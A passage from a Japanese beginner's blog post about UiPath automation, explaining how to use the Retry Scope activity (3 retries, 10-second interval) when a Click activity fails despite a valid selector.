そこで「要素の存在の確認」や「待機」アクティビティをしてもまだエラーになる。** 
 * 「要素の存在を確認」アクティビティについては↓を確認してください。
　UiPath初心者向け：実務で使える入力アクティビティがシステム、
　サイトとの相性が悪い場合について(待機アクティビティ)
　https://qiita.com/thxUVER2012/items/0e3954395b2e5ec436bf

そのため、セレクターを確認する。
**しかし、セレクターは取れているのに、クリックしてくれない。**
これはシステム、サイトとUiPathとの相性が悪いです。
そこでどうするか？

# リトライスコープ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3327229/1db50f23-8443-199e-93e7-fffdfc1b75dc.png)

このアクティビティは、①～②を設定するとクリックを指定した回数実行してくれます。
①「リトライの回数」はアクション(赤い丸)内のアクティビティを何回繰り返したいかを数字で入力します。
②「リトライの間隔」繰り返す際の間隔の時間をhh : mm : ssで入力します。

# 実践的にするなら
具体的に①、②を埋めました。
さらに「クリック」アクティビティを入れてみました。
今回の問題に対しては、画像のようにするとクリックしてくれます。
**3回繰り返し、10秒間隔で解決しました。**
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3327229/df0bf381-4b84-2804-503e-bedce14ddc8c.png)

**補足すると緑の枠内に「リトライスコープ/3回10秒」と書いてあります。
これを記載することで運用・保守時にプロパティを開くかなくともすぐに確認できます。**

# 最後に
今後もこのような記事を書いていくので、困っている方の助けになればいいなと思っています。